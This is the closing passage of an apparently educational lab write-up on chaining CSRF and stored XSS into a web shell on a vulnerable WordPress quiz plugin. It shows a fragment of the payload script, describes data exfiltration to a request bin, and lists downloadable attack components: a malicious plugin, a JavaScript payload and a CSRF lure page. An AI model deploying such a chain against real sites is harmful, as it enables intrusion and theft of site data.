console.log(`${pluginName} was activated successfully`);
});
});
}
// execute the function
addPlugin();STEP 7: Proof of Concept
The video below demonstrates the full attack chain end-to-end: from the admin visiting freeBurger.html, through the CSRF-injected XSS, to the web shell deploying and the exfiltrated data arriving at the request bin.
STEP 8: Resources
All resources referenced in this write-up are hosted on GitHub at: https://arian-lrd.github.io/public-resources/quiz-master-4.7.7 And the paths within the directory are listed below
/wp-docker→ Docker container with the vulnerable WordPress plugin/DefinitelySafePlugin.zip→ Malicious WordPress plugin (web shell)/addShell.js→ Malicious JavaScript payload/freeBurger.html→ CSRF delivery page — the initial attack trigger
To serve freeBurger.html locally during testing, run the following from the directory containing the file: python3 -m http.server 8080. Then direct the lab admin to http://127.0.0.1:8080/freeBurger.html, adjusting the host and port as needed.
Closing Remarks This challenge was a good reminder that vulnerabilities don't exist in isolation. A stored XSS and a missing CSRF protection are each limited on their own — but chained together, with same-origin script execution eliminating SOP as a barrier, they become a path to full remote code execution. The hope is that walking through each stage of that chain, rather than just presenting the final payload, made the mechanics clear.
This is my first write-up, and if you made it to the end — thanks for reading. If anything is unclear or you spot an error, feel free to reach out.